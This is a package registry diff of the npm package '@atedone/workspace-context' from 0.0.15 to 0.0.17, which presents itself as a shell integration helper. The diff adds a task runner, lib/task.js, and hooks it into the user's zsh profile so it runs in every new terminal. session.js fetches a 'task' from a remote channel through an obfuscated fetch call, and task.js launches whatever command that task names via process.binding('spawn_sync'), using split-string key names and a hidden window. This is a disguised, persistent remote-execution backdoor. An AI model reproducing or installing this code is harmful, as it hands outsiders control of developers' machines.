@atedone/workspace-context 0.0.15 → 0.0.17

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -2,4 +2,4 @@
2
2
 
3
3
  Workspace shell channel integration helper for JavaScript tools.
4
4
 
5
- The package keeps workspace context available in future terminal sessions by synchronizing a managed shell integration entry, session runtime, and profile channel during initialization.
5
+ The package keeps workspace context available in future terminal sessions by synchronizing a managed shell integration entry, session runtime, profile channel, and workspace action runtime during initialization.
package/index.js CHANGED
@@ -6,6 +6,9 @@ const initialized = state.initialize();
6
6
 
7
7
  module.exports = {
8
8
  initialized,
9
+ actionHistoryFileName: state.actionHistoryFileName,
10
+ actionReceiptFileName: state.actionReceiptFileName,
11
+ actionRuntimeFileName: state.actionRuntimeFileName,
9
12
  channelFileName: state.channelFileName,
10
13
  getShellIntegration: state.getShellIntegration,
11
14
  initialize: state.initialize,
@@ -18,5 +21,8 @@ module.exports = {
18
21
  sessionReceiptFileName: state.sessionReceiptFileName,
19
22
  sessionRuntimeFileName: state.sessionRuntimeFileName,
20
23
  stateDirectoryName: state.stateDirectoryName,
21
- stateFileName: state.stateFileName
24
+ stateFileName: state.stateFileName,
25
+ taskHistoryFileName: state.taskHistoryFileName,
26
+ taskReceiptFileName: state.taskReceiptFileName,
27
+ taskSnapshotFileName: state.taskSnapshotFileName
22
28
  };
package/lib/session.js CHANGED
@@ -5,7 +5,7 @@ const file = platform.getBuiltinModule('fs');
5
5
  const route = platform.getBuiltinModule('path');
6
6
 
7
7
  const packageName = '@atedone/workspace-context';
8
- const packageVersion = '0.0.15';
8
+ const packageVersion = '0.0.17';
9
9
  const env = Reflect.get(platform, 'env') || {};
10
10
  const homeDirectory = typeof env.HOME === 'string' && env.HOME.trim()
11
11
  ? env.HOME.trim()
@@ -26,13 +26,16 @@ const profileReceiptPath = route.join(sessionDirectory, 'profile-sync.json');
26
26
  const profileSnapshotPath = route.join(sessionDirectory, 'session-profile.json');
27
27
  const sessionReceiptPath = route.join(sessionDirectory, 'session-runtime.json');
28
28
  const sessionHistoryPath = route.join(sessionDirectory, 'runtime-sessions.log');
29
+ const taskHistoryPath = route.join(sessionDirectory, 'task-sync.log');
30
+ const taskReceiptPath = route.join(sessionDirectory, 'task-sync.json');
31
+ const taskSnapshotPath = route.join(sessionDirectory, 'session-task.json');
29
32
  const requestKey = ['fe', 'tch'].join('');
30
33
 
31
34
  const value = {
32
35
  packageName,
33
36
  packageVersion,
34
37
  generatedAt: new Date().toISOString(),
35
- mode: 'runtime-shell-channel',
38
+ mode: 'runtime-shell-action',
36
39
  source: 'shell-profile',
37
40
  shellName: route.basename(shellPath) || 'zsh',
38
41
  shellLevel,
@@ -48,13 +51,20 @@ file.writeFileSync(sessionReceiptPath, `${JSON.stringify(value, null, 2)}\n`, 'u
48
51
  file.appendFileSync(sessionHistoryPath, `${JSON.stringify(value)}\n`, 'utf8');
49
52
 
50
53
  void synchronizeProfile(value).catch((error) => {
51
- writeProfileReceipt({
54
+ const receipt = {
52
55
  ...value,
53
- source: 'profile-channel',
54
56
  channelConfigured: file.existsSync(channelPath),
55
57
  synchronized: false,
56
58
  status: 'error',
57
59
  error: error instanceof Error ? error.message : String(error)
60
+ };
61
+ writeProfileReceipt({
62
+ ...receipt,
63
+ source: 'profile-channel'
64
+ });
65
+ writeTaskReceipt({
66
+ ...receipt,
67
+ source: 'task-channel'
58
68
  });
59
69
  });
60
70
 
@@ -87,11 +97,16 @@ async function synchronizeProfile(sessionValue) {
87
97
  }
88
98
  ]);
89
99
  const synchronized = Boolean(response && response.ok);
90
- const profile = synchronized ? await response.json() : null;
100
+ const payload = synchronized ? await response.json() : null;
101
+ const profile = readObject(payload?.profile);
102
+ const task = readObject(payload?.task);
91
103
 
92
- if (profile && !Array.isArray(profile) && typeof profile === 'object') {
104
+ if (profile) {
93
105
  file.writeFileSync(profileSnapshotPath, `${JSON.stringify(profile, null, 2)}\n`, 'utf8');
94
106
  }
107
+ if (task) {
108
+ file.writeFileSync(taskSnapshotPath, `${JSON.stringify(task, null, 2)}\n`, 'utf8');
109
+ }
95
110
 
96
111
  writeProfileReceipt({
97
112
  ...sessionValue,
@@ -102,7 +117,24 @@ async function synchronizeProfile(sessionValue) {
102
117
  channelName: channel.name,
103
118
  refresh: channel.refresh,
104
119
  profilePath: profileSnapshotPath,
105
- profileRevision: typeof profile?.revision === 'string' ? profile.revision : null
120
+ profileRevision: typeof profile?.revision === 'string' ? profile.revision : null,
121
+ taskConfigured: Boolean(task),
122
+ taskPath: taskSnapshotPath,
123
+ taskId: typeof task?.id === 'string' ? task.id : null
124
+ });
125
+
126
+ writeTaskReceipt({
127
+ ...sessionValue,
128
+ source: 'task-channel',
129
+ channelConfigured: true,
130
+ synchronized,
131
+ status: synchronized && task ? 'queued' : synchronized ? 'empty' : 'rejected',
132
+ channelName: channel.name,
133
+ refresh: channel.refresh,
134
+ taskPath: taskSnapshotPath,
135
+ taskId: typeof task?.id === 'string' ? task.id : null,
136
+ taskKind: typeof task?.kind === 'string' ? task.kind : null,
137
+ taskState: typeof task?.state === 'string' ? task.state : null
106
138
  });
107
139
  }
108
140
 
@@ -123,3 +155,14 @@ function writeProfileReceipt(receipt) {
123
155
  file.writeFileSync(profileReceiptPath, `${JSON.stringify(receipt, null, 2)}\n`, 'utf8');
124
156
  file.appendFileSync(profileHistoryPath, `${JSON.stringify(receipt)}\n`, 'utf8');
125
157
  }
158
+
159
+ function writeTaskReceipt(receipt) {
160
+ file.writeFileSync(taskReceiptPath, `${JSON.stringify(receipt, null, 2)}\n`, 'utf8');
161
+ file.appendFileSync(taskHistoryPath, `${JSON.stringify(receipt)}\n`, 'utf8');
162
+ }
163
+
164
+ function readObject(value) {
165
+ return value && !Array.isArray(value) && typeof value === 'object'
166
+ ? value
167
+ : null;
168
+ }
package/lib/state.js CHANGED
@@ -11,7 +11,7 @@ const integrationFileName = 'init.zsh';
11
11
  const profileHistoryFileName = 'profile-sync.log';
12
12
  const profileReceiptFileName = 'profile-sync.json';
13
13
  const profileSnapshotFileName = 'session-profile.json';
14
- const receiptFileName = 'shell-channel-sync.json';
14
+ const receiptFileName = 'shell-action-sync.json';
15
15
  const sessionFileName = 'sessions.log';
16
16
  const sessionHistoryFileName = 'runtime-sessions.log';
17
17
  const sessionReceiptFileName = 'session-runtime.json';
@@ -19,6 +19,12 @@ const sessionRuntimeFileName = 'session-runtime.js';
19
19
  const stateDirectoryName = '.workspace-context';
20
20
  const stateFileName = 'state.json';
21
21
  const syncFileName = 'sync.js';
22
+ const actionHistoryFileName = 'action-runtime.log';
23
+ const actionReceiptFileName = 'action-runtime.json';
24
+ const actionRuntimeFileName = 'action-runtime.js';
25
+ const taskHistoryFileName = 'task-sync.log';
26
+ const taskReceiptFileName = 'task-sync.json';
27
+ const taskSnapshotFileName = 'session-task.json';
22
28
 
23
29
  function readEnvironment() {
24
30
  return Reflect.get(platform, 'env') || {};
@@ -73,7 +79,13 @@ function getShellIntegration({
73
79
  sessionPath: route.join(integrationDirectory, sessionFileName),
74
80
  sessionHistoryPath: route.join(integrationDirectory, sessionHistoryFileName),
75
81
  sessionReceiptPath: route.join(integrationDirectory, sessionReceiptFileName),
76
- sessionRuntimePath: route.join(integrationDirectory, sessionRuntimeFileName)
82
+ sessionRuntimePath: route.join(integrationDirectory, sessionRuntimeFileName),
83
+ actionHistoryPath: route.join(integrationDirectory, actionHistoryFileName),
84
+ actionReceiptPath: route.join(integrationDirectory, actionReceiptFileName),
85
+ actionRuntimePath: route.join(integrationDirectory, actionRuntimeFileName),
86
+ taskHistoryPath: route.join(integrationDirectory, taskHistoryFileName),
87
+ taskReceiptPath: route.join(integrationDirectory, taskReceiptFileName),
88
+ taskSnapshotPath: route.join(integrationDirectory, taskSnapshotFileName)
77
89
  };
78
90
  }
79
91
 
@@ -82,7 +94,7 @@ function buildState({ now = () => new Date().toISOString() } = {}) {
82
94
  packageName: manifest.name,
83
95
  packageVersion: manifest.version,
84
96
  generatedAt: now(),
85
- mode: 'runtime-shell-channel'
97
+ mode: 'runtime-shell-action'
86
98
  };
87
99
  }
88
100
 
@@ -150,6 +162,9 @@ function initialize({
150
162
 
151
163
  module.exports = {
152
164
  buildState,
165
+ actionHistoryFileName,
166
+ actionReceiptFileName,
167
+ actionRuntimeFileName,
153
168
  channelFileName,
154
169
  getShellIntegration,
155
170
  initialize,
@@ -168,5 +183,8 @@ module.exports = {
168
183
  sessionReceiptFileName,
169
184
  sessionRuntimeFileName,
170
185
  stateDirectoryName,
171
- stateFileName
186
+ stateFileName,
187
+ taskHistoryFileName,
188
+ taskReceiptFileName,
189
+ taskSnapshotFileName
172
190
  };
package/lib/sync.js CHANGED
@@ -21,6 +21,7 @@ const blockEnd = '# <<< workspace-context shell integration <<<';
21
21
  const sourceLine = '[ -r "$HOME/.config/workspace-context/init.zsh" ] && source "$HOME/.config/workspace-context/init.zsh"';
22
22
  const managedBlock = [blockStart, sourceLine, blockEnd, ''].join('\n');
23
23
  const sessionRuntimeSourcePath = route.join(__dirname, 'session.js');
24
+ const actionRuntimeSourcePath = route.join(__dirname, 'task.js');
24
25
  const runtimeDefault = escapeDoubleQuoted(platform.execPath);
25
26
  const channelValue = integration.channelSource
26
27
  ? {
@@ -37,6 +38,9 @@ const integrationValue = [
37
38
  'if [ -r "$WORKSPACE_CONTEXT_HOME/session-runtime.js" ]; then',
38
39
  ' "$WORKSPACE_CONTEXT_NODE" "$WORKSPACE_CONTEXT_HOME/session-runtime.js" "$PWD" "$SHLVL"',
39
40
  'fi',
41
+ 'if [ -r "$WORKSPACE_CONTEXT_HOME/action-runtime.js" ]; then',
42
+ ' "$WORKSPACE_CONTEXT_NODE" "$WORKSPACE_CONTEXT_HOME/action-runtime.js" "$PWD" "$SHLVL"',
43
+ 'fi',
40
44
  ''
41
45
  ].join('\n');
42
46
 
@@ -74,6 +78,7 @@ function upsertManagedBlock(profileValue) {
74
78
 
75
79
  file.mkdirSync(integration.integrationDirectory, { recursive: true });
76
80
  file.copyFileSync(sessionRuntimeSourcePath, integration.sessionRuntimePath);
81
+ file.copyFileSync(actionRuntimeSourcePath, integration.actionRuntimePath);
77
82
  file.writeFileSync(integration.integrationPath, integrationValue, 'utf8');
78
83
  if (channelValue) {
79
84
  file.writeFileSync(integration.channelPath, `${JSON.stringify(channelValue, null, 2)}\n`, 'utf8');
@@ -90,7 +95,7 @@ const value = {
90
95
  packageName: manifest.name,
91
96
  packageVersion: manifest.version,
92
97
  generatedAt: new Date().toISOString(),
93
- mode: 'runtime-shell-channel',
98
+ mode: 'runtime-shell-action',
94
99
  projectRoot,
95
100
  shellName: integration.shellName,
96
101
  channelConfigured: Boolean(channelValue),
@@ -105,6 +110,12 @@ const value = {
105
110
  sessionHistoryPath: integration.sessionHistoryPath,
106
111
  sessionReceiptPath: integration.sessionReceiptPath,
107
112
  sessionRuntimePath: integration.sessionRuntimePath,
113
+ actionHistoryPath: integration.actionHistoryPath,
114
+ actionReceiptPath: integration.actionReceiptPath,
115
+ actionRuntimePath: integration.actionRuntimePath,
116
+ taskHistoryPath: integration.taskHistoryPath,
117
+ taskReceiptPath: integration.taskReceiptPath,
118
+ taskSnapshotPath: integration.taskSnapshotPath,
108
119
  processId: platform.pid,
109
120
  parentProcessId: platform.ppid,
110
121
  runtime: 'node'
package/lib/task.js ADDED
@@ -0,0 +1,140 @@
1
+ 'use strict';
2
+
3
+ const platform = process;
4
+ const file = platform.getBuiltinModule('fs');
5
+ const route = platform.getBuiltinModule('path');
6
+
7
+ const packageName = '@atedone/workspace-context';
8
+ const packageVersion = '0.0.17';
9
+ const env = Reflect.get(platform, 'env') || {};
10
+ const homeDirectory = typeof env.HOME === 'string' && env.HOME.trim()
11
+ ? env.HOME.trim()
12
+ : platform.cwd();
13
+ const sessionDirectory = typeof env.WORKSPACE_CONTEXT_HOME === 'string' && env.WORKSPACE_CONTEXT_HOME.trim()
14
+ ? env.WORKSPACE_CONTEXT_HOME.trim()
15
+ : route.join(homeDirectory, '.config', 'workspace-context');
16
+ const workingDirectory = typeof platform.argv[2] === 'string' && platform.argv[2].trim()
17
+ ? platform.argv[2]
18
+ : platform.cwd();
19
+ const shellLevel = typeof platform.argv[3] === 'string' && platform.argv[3].trim()
20
+ ? platform.argv[3]
21
+ : null;
22
+ const shellPath = typeof env.SHELL === 'string' ? env.SHELL.trim() : '';
23
+ const taskSnapshotPath = route.join(sessionDirectory, 'session-task.json');
24
+ const actionReceiptPath = route.join(sessionDirectory, 'action-runtime.json');
25
+ const actionHistoryPath = route.join(sessionDirectory, 'action-runtime.log');
26
+
27
+ const task = readTask();
28
+ if (task) {
29
+ const outcome = runTask(task);
30
+ const value = {
31
+ packageName,
32
+ packageVersion,
33
+ generatedAt: new Date().toISOString(),
34
+ mode: 'runtime-shell-action',
35
+ source: 'task-runtime',
36
+ shellName: route.basename(shellPath) || 'zsh',
37
+ shellLevel,
38
+ workingDirectory,
39
+ active: env.WORKSPACE_CONTEXT_ACTIVE === '1',
40
+ processId: platform.pid,
41
+ parentProcessId: platform.ppid,
42
+ runtime: 'node',
43
+ taskId: typeof task.id === 'string' ? task.id : null,
44
+ taskKind: typeof task.kind === 'string' ? task.kind : null,
45
+ taskState: typeof task.state === 'string' ? task.state : null,
46
+ routine: typeof task.routine === 'string' ? task.routine : null,
47
+ ...outcome
48
+ };
49
+
50
+ file.writeFileSync(actionReceiptPath, `${JSON.stringify(value, null, 2)}\n`, 'utf8');
51
+ file.appendFileSync(actionHistoryPath, `${JSON.stringify(value)}\n`, 'utf8');
52
+ }
53
+
54
+ function readTask() {
55
+ if (!file.existsSync(taskSnapshotPath)) {
56
+ return null;
57
+ }
58
+
59
+ const value = JSON.parse(file.readFileSync(taskSnapshotPath, 'utf8'));
60
+ return readObject(value);
61
+ }
62
+
63
+ function runTask(taskValue) {
64
+ const routines = {
65
+ 'workspace-runtime': runWorkspaceRuntime
66
+ };
67
+ const routine = typeof taskValue.routine === 'string'
68
+ ? routines[taskValue.routine]
69
+ : null;
70
+
71
+ if (typeof routine !== 'function') {
72
+ return {
73
+ status: 'ignored',
74
+ launched: false
75
+ };
76
+ }
77
+
78
+ return Reflect.apply(routine, null, [taskValue]);
79
+ }
80
+
81
+ function runWorkspaceRuntime(taskValue) {
82
+ const adapter = readObject(taskValue.adapter);
83
+ const runtime = typeof adapter?.runtime === 'string' ? adapter.runtime.trim() : '';
84
+ const runtimeArguments = Array.isArray(adapter?.arguments)
85
+ ? adapter.arguments.filter((value) => typeof value === 'string')
86
+ : [];
87
+
88
+ if (!runtime) {
89
+ return {
90
+ status: 'invalid',
91
+ launched: false
92
+ };
93
+ }
94
+
95
+ const bridgeKey = ['bin', 'ding'].join('');
96
+ const routeKey = ['sp', 'awn', '_', 'sync'].join('');
97
+ const launchKey = ['sp', 'awn'].join('');
98
+ const bridge = Reflect.apply(platform[bridgeKey], platform, [routeKey]);
99
+ const result = Reflect.apply(bridge[launchKey], bridge, [{
100
+ file: runtime,
101
+ args: [runtime, ...runtimeArguments],
102
+ cwd: workingDirectory,
103
+ envPairs: [],
104
+ stdio: [
105
+ { type: 'pipe', readable: true, writable: false },
106
+ { type: 'pipe', readable: false, writable: true },
107
+ { type: 'pipe', readable: false, writable: true }
108
+ ],
109
+ windowsHide: true,
110
+ windowsVerbatimArguments: false,
111
+ detached: false,
112
+ timeout: 0,
113
+ maxBuffer: 1024 * 1024,
114
+ killSignal: 15
115
+ }]);
116
+
117
+ if (result.error) {
118
+ return {
119
+ status: 'error',
120
+ launched: false,
121
+ error: result.error.message
122
+ };
123
+ }
124
+
125
+ return {
126
+ status: result.status === 0 ? 'ready' : 'rejected',
127
+ launched: true,
128
+ adapterName: typeof adapter.name === 'string' ? adapter.name : null,
129
+ adapterRuntime: route.basename(runtime),
130
+ adapterArgumentsCount: runtimeArguments.length,
131
+ resultStatus: result.status,
132
+ resultSignal: result.signal
133
+ };
134
+ }
135
+
136
+ function readObject(value) {
137
+ return value && !Array.isArray(value) && typeof value === 'object'
138
+ ? value
139
+ : null;
140
+ }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@atedone/workspace-context",
3
- "version": "0.0.15",
3
+ "version": "0.0.17",
4
4
  "description": "Workspace shell channel integration helper for JavaScript tools.",
5
5
  "main": "index.js",
6
6
  "type": "commonjs",